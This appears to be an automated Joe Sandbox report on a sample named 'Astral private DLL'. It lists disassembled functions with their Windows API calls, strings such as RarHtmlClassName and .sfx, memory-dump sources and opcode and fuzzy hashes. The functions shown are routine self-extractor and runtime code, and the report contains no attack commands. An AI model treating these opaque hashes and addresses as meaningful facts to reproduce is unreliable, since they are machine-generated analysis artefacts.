Function 00169382 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00169387
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 001693AA
GetShortPathNameW.KERNEL32(?,?,00000800), ref: 001693C9

Part of subcall function 0016C29A: _wcslen.LIBCMT ref: 0016C2A2

Part of subcall function 00171FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,0016C116,00000000,.exe,?,?,00000800,?,?,?,00178E3C), ref: 00171FD1

_swprintf.LIBCMT ref: 00169465

Part of subcall function 00164092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 001640A5

MoveFileW.KERNEL32(?,?), ref: 001694D4
MoveFileW.KERNEL32(?,?), ref: 00169514

Strings

rtmp%d, xrefs: 0016944E

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf_wcslen
String ID: rtmp%d
API String ID: 3726343395-3303766350
Opcode ID: 9e5f1399a3e14c902e7c5712eadac5e2962dacb35fb59615a735635e4142986c
Instruction ID: 559704ed027a90862a755d1170ba7749cd32aa527868d5250a38beecb93181a9
Opcode Fuzzy Hash: 9e5f1399a3e14c902e7c5712eadac5e2962dacb35fb59615a735635e4142986c
Instruction Fuzzy Hash: 73414571901258A7DF21EBA0CD55EEE737CAF55740F0488A6B64AE3051EB388BD9CB60

Function 00171218 Relevance: 12.1, APIs: 8, Instructions: 125timeCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0017122E

Part of subcall function 0016B146: GetVersionExW.KERNEL32(?), ref: 0016B16B

FileTimeToLocalFileTime.KERNEL32(00000003,00000000,00000003,?,00000064,00000000,00000000,?), ref: 00171251
FileTimeToSystemTime.KERNEL32(00000003,?,00000003,?,00000064,00000000,00000000,?), ref: 00171263
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00171274
SystemTimeToFileTime.KERNEL32(?,?), ref: 00171284
SystemTimeToFileTime.KERNEL32(?,?), ref: 00171294
FileTimeToSystemTime.KERNEL32(?,?,?), ref: 001712CF
__aullrem.LIBCMT ref: 00171379

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
String ID:
API String ID: 1247370737-0
Opcode ID: dd79f50935637e06cd5a3f6b3837f99a4548ab359ff9d3f186e79320e6610444
Instruction ID: a3988257403542f06779f354f0f6386a8d5098faa13531a4a782d29b9c513ad1
Opcode Fuzzy Hash: dd79f50935637e06cd5a3f6b3837f99a4548ab359ff9d3f186e79320e6610444
Instruction Fuzzy Hash: F241F5B6508305AFC710DF69C88496BFBF9FB88314F10892EF59AC2610E734E659CB52

Function 00162210 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 468COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00162536

Part of subcall function 00164092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 001640A5

Part of subcall function 001705DA: _wcslen.LIBCMT ref: 001705E0

Strings

xc%u, xrefs: 0016275A
;%u, xrefs: 00162523
x%u, xrefs: 001626FD

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: __vswprintf_c_l_swprintf_wcslen
String ID: ;%u$x%u$xc%u
API String ID: 3053425827-2277559157
Opcode ID: 9579055069793c57c235f4de94e1f9b8d6c936725d0a9a1389f755829aeccf29
Instruction ID: 9c689f1ca3840091ee0552a9e0f9eb9d77d44c84aa300d8b6d43dc5bb0c37878
Opcode Fuzzy Hash: 9579055069793c57c235f4de94e1f9b8d6c936725d0a9a1389f755829aeccf29
Instruction Fuzzy Hash: 73F115706047419BDB25DF288C95BFA77D96FA4300F08456DECCA9B283CB748965C7A2

Function 00179CFE Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00179D0A

Strings

</p>, xrefs: 00179DE8
<style>, xrefs: 00179E30
<br>, xrefs: 00179DFE
</style>, xrefs: 00179E52
>, xrefs: 00179D4B

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: _wcslen
String ID: </p>$</style>$<br>$<style>$>
API String ID: 176396367-3568243669
Opcode ID: 2f3fb7f75d614252ff0c464c124f08c5d8081a9dcae68609fd930843fff45d9d
Instruction ID: bdf78862edfcce68dab9fda4e8ad413e40287b21a98b414b66017c80eaaee3e8
Opcode Fuzzy Hash: 2f3fb7f75d614252ff0c464c124f08c5d8081a9dcae68609fd930843fff45d9d
Instruction Fuzzy Hash: F551496674036395DB309AA9DC21B7673F0DFA1750F68C41BF9C98B2C0FF658D898261

Function 0018F68D Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,0018FE02,00000000,00000000,00000000,00000000,00000000,?), ref: 0018F6CF
__fassign.LIBCMT ref: 0018F74A
__fassign.LIBCMT ref: 0018F765
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 0018F78B
WriteFile.KERNEL32(?,00000000,00000000,0018FE02,00000000,?,?,?,?,?,?,?,?,?,0018FE02,00000000), ref: 0018F7AA
WriteFile.KERNEL32(?,00000000,00000001,0018FE02,00000000,?,?,?,?,?,?,?,?,?,0018FE02,00000000), ref: 0018F7E3

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: dea636ee59ee21204d71fa7efe8b994c22c325a4b0f56d1f0cb4afa039b456a7
Instruction ID: f3adecfad76c0d5a86f26a0217ed5fc8a01e68ee352c623563f97f2f66fa42a4
Opcode Fuzzy Hash: dea636ee59ee21204d71fa7efe8b994c22c325a4b0f56d1f0cb4afa039b456a7
Instruction Fuzzy Hash: 305183B5A002499FDB10DFA8DC85AEEBBF4EF09300F14416EE555E7251D770AA41CFA0

Function 00182900 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00182937
___except_validate_context_record.LIBVCRUNTIME ref: 0018293F
_ValidateLocalCookies.LIBCMT ref: 001829C8
__IsNonwritableInCurrentImage.LIBCMT ref: 001829F3
_ValidateLocalCookies.LIBCMT ref: 00182A48

Strings

csm, xrefs: 001829DD

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 6521bcf6ee5fbcb50aeb4e8861dbefa9de65479397fdd12e7541708e098fc08d
Instruction ID: 8074b5a7b78f4714c8b2a1474ac396c340ac343b720df49fc63ae8611006e5ee
Opcode Fuzzy Hash: 6521bcf6ee5fbcb50aeb4e8861dbefa9de65479397fdd12e7541708e098fc08d
Instruction Fuzzy Hash: 5D41C134E00218AFCF15EF68C885A9EBBF5AF45328F148056E815AB392D731DB41CF91

Function 00179ED5 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000), ref: 00179EEE
GetWindowRect.USER32(?,00000000), ref: 00179F44
ShowWindow.USER32(?,00000005,00000000), ref: 00179FDB
SetWindowTextW.USER32(?,00000000), ref: 00179FE3
ShowWindow.USER32(00000000,00000005), ref: 00179FF9

Strings

RarHtmlClassName, xrefs: 00179FA5

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: Window$Show$RectText
String ID: RarHtmlClassName
API String ID: 3937224194-1658105358
Opcode ID: 02b4719995264c4b8851d4f0bc0fbb5c9928a56b77e15cf34e00e01cfc889d49
Instruction ID: f0a920a6ea32da0e32b011a95725f62fc13c4f382fd0463147a40c0d2ddfee42
Opcode Fuzzy Hash: 02b4719995264c4b8851d4f0bc0fbb5c9928a56b77e15cf34e00e01cfc889d49
Instruction Fuzzy Hash: 4041AF32104210AFDB21AF649C48F6BBFB8EF48701F08C559F8599A156DB34DA48CF61

Function 00179955 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 106COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0017995E
_wcslen.LIBCMT ref: 00179993

Strings

, xrefs: 001799B0
<br>, xrefs: 001799DF
<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 00179987
 , xrefs: 00179A21

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: _wcslen
String ID: $ $<br>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 176396367-3743748572
Opcode ID: e2750ed3c2fe34d4ac62d6103adf4e88f09c80a88f3c6fbc0cde663995ee66f2
Instruction ID: 3ca2113bba788c1a2baa83459f6854cd45db98a6a6306666164f76f6b64a9536
Opcode Fuzzy Hash: e2750ed3c2fe34d4ac62d6103adf4e88f09c80a88f3c6fbc0cde663995ee66f2
Instruction Fuzzy Hash: 6D315F72A4434566EA34BB549C42F7B73B4EB90720F60C41FF59A572C0FBA0AE4983A5

Function 0018C8A4 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0018C868: _free.LIBCMT ref: 0018C891

_free.LIBCMT ref: 0018C8F2

Part of subcall function 00188DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,0018C896,?,00000000,?,00000000,?,0018C8BD,?,00000007,?,?,0018CCBA,?), ref: 00188DE2
Part of subcall function 00188DCC: GetLastError.KERNEL32(?,?,0018C896,?,00000000,?,00000000,?,0018C8BD,?,00000007,?,?,0018CCBA,?,?), ref: 00188DF4

_free.LIBCMT ref: 0018C8FD
_free.LIBCMT ref: 0018C908
_free.LIBCMT ref: 0018C95C
_free.LIBCMT ref: 0018C967
_free.LIBCMT ref: 0018C972
_free.LIBCMT ref: 0018C97D

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: bf1448b5a367794c459becf00bdc5ad94e8d71ea07fb2ac2ae3d8aaabc3cc25b
Instruction ID: 57f560d11c9394e37b7c0c464d9e08e5371fb8d3204a528723485f277bfbf92d
Opcode Fuzzy Hash: bf1448b5a367794c459becf00bdc5ad94e8d71ea07fb2ac2ae3d8aaabc3cc25b
Instruction Fuzzy Hash: F61121715C0B04AAE520B7B1CC0BFCB7BAD9F25B00F804D15B29D66592EB75B6058FA0

Function 0017E5EE Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,0017E669,0017E5CC,0017E86D), ref: 0017E605
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 0017E61B
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 0017E630

Strings

ReleaseSRWLockExclusive, xrefs: 0017E625
AcquireSRWLockExclusive, xrefs: 0017E615
KERNEL32.DLL, xrefs: 0017E600

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: 39549e9652b556830aeb25bce8b8b1503f07b8d328133fab5e8b8feb06f0ccb8
Instruction ID: faba84d1f2321148c3e5ec671aaee5a7fc3a2ab90f99e8afffb5831140fe9cfc
Opcode Fuzzy Hash: 39549e9652b556830aeb25bce8b8b1503f07b8d328133fab5e8b8feb06f0ccb8
Instruction Fuzzy Hash: C4F02B717C02226B5F225F755C84A6626F96B3E741B2584B9F90DE3501EB20CCA05B95

Function 0017146A Relevance: 9.1, APIs: 6, Instructions: 98timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32(?,?), ref: 001714C2

Part of subcall function 0016B146: GetVersionExW.KERNEL32(?), ref: 0016B16B

LocalFileTimeToFileTime.KERNEL32(?,?), ref: 001714E6
FileTimeToSystemTime.KERNEL32(?,?), ref: 00171500
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 00171513
SystemTimeToFileTime.KERNEL32(?,?), ref: 00171523
SystemTimeToFileTime.KERNEL32(?,?), ref: 00171533

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 65da79fe405b79fdbdfa14bebb8514cb8e167464413bb491a0587ecee347ecc5
Instruction ID: 2711843a383b4591b880f555ac04190c621f195f247409c0c52daf54b3269bb0
Opcode Fuzzy Hash: 65da79fe405b79fdbdfa14bebb8514cb8e167464413bb491a0587ecee347ecc5
Instruction Fuzzy Hash: F331EA75108345ABC704DFA8D88499BB7F8BF98714F04492EF599C3610E730D549CBA6

Function 00182AFA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00182AF1,001802FC,0017FA34), ref: 00182B08
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00182B16
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00182B2F
SetLastError.KERNEL32(00000000,00182AF1,001802FC,0017FA34), ref: 00182B81

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: c658d185e8a1eb0f25ce4ea87055414cae75ce31add635e9bc178f84ad366716
Instruction ID: f282eaec7363b3daa51d81b64e2559aa07f27d1eefaf7716208147eb1cd84b6a
Opcode Fuzzy Hash: c658d185e8a1eb0f25ce4ea87055414cae75ce31add635e9bc178f84ad366716
Instruction Fuzzy Hash: 7401D83310A3116EE62A3AF4BC459267BD5EB11BB4764073BF520554E0EF624F80DB44

Function 001897E5 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,001A1030,00184674,001A1030,?,?,00183F73,00000050,?,001A1030,00000200), ref: 001897E9
_free.LIBCMT ref: 0018981C
_free.LIBCMT ref: 00189844
SetLastError.KERNEL32(00000000,?,001A1030,00000200), ref: 00189851
SetLastError.KERNEL32(00000000,?,001A1030,00000200), ref: 0018985D
_abort.LIBCMT ref: 00189863

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 3e8591bba314632bf59c1a4c4efdcf30fbf261536c38e8500d709c932dce7b6c
Instruction ID: 1729ab9b7d406a9664393394731fb68cb0412e555014f67873726f06d4a229f8
Opcode Fuzzy Hash: 3e8591bba314632bf59c1a4c4efdcf30fbf261536c38e8500d709c932dce7b6c
Instruction Fuzzy Hash: C4F0A43614460667C6163364BC4AA3B2A668FF3771F2D0129F524A2692FF208B428F65

Function 0017DC3B Relevance: 9.0, APIs: 6, Instructions: 42windowsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,0000000A), ref: 0017DC47
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0017DC61
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0017DC72
TranslateMessage.USER32(?), ref: 0017DC7C
DispatchMessageW.USER32(?), ref: 0017DC86
WaitForSingleObject.KERNEL32(?,0000000A), ref: 0017DC91

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: Message$ObjectSingleWait$DispatchPeekTranslate
String ID:
API String ID: 2148572870-0
Opcode ID: 9157a34e33d1abea00011b8d233d046d91e4e10401add9c2b5f91193ebaf07de
Instruction ID: 67ff3f8b490eb38c0cd262c3462729fd74e042331fcb98923fc91d4da0967b42
Opcode Fuzzy Hash: 9157a34e33d1abea00011b8d233d046d91e4e10401add9c2b5f91193ebaf07de
Instruction Fuzzy Hash: 8DF04972A01219BBCB216BA5EC4DDCF7F7DEF427A1B048021F51AE2460D674D686CBB1

Function 0016C0C5 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 001705DA: _wcslen.LIBCMT ref: 001705E0

Part of subcall function 0016B92D: _wcsrchr.LIBVCRUNTIME ref: 0016B944

_wcslen.LIBCMT ref: 0016C197
_wcslen.LIBCMT ref: 0016C1DF

Strings

.rar, xrefs: 0016C0E1, 0016C134
.exe, xrefs: 0016C10B
.sfx, xrefs: 0016C11A

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: _wcslen$_wcsrchr
String ID: .exe$.rar$.sfx
API String ID: 3513545583-31770016
Opcode ID: 168724ad8aeb5163077a07470b04dbc077fc3cfb54e9c95da42d9518bdce37c6
Instruction ID: a890d2efead63be0950df99294b4b472407dd7ff7a6d8711141e691c3de9f518
Opcode Fuzzy Hash: 168724ad8aeb5163077a07470b04dbc077fc3cfb54e9c95da42d9518bdce37c6
Instruction Fuzzy Hash: 00414826540312D5C736AF788C52A7BB3B8EF55744F14890EFDE6AB181EB604EA1C3D1

Function 0017CE87 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000800,?), ref: 0017CE9D

Part of subcall function 0016B690: _wcslen.LIBCMT ref: 0016B696

_swprintf.LIBCMT ref: 0017CED1

Part of subcall function 00164092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 001640A5

SetDlgItemTextW.USER32(?,00000066,001A946A), ref: 0017CEF1
EndDialog.USER32(?,00000001), ref: 0017CFFE

Strings

%s%s%u, xrefs: 0017CEC6

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

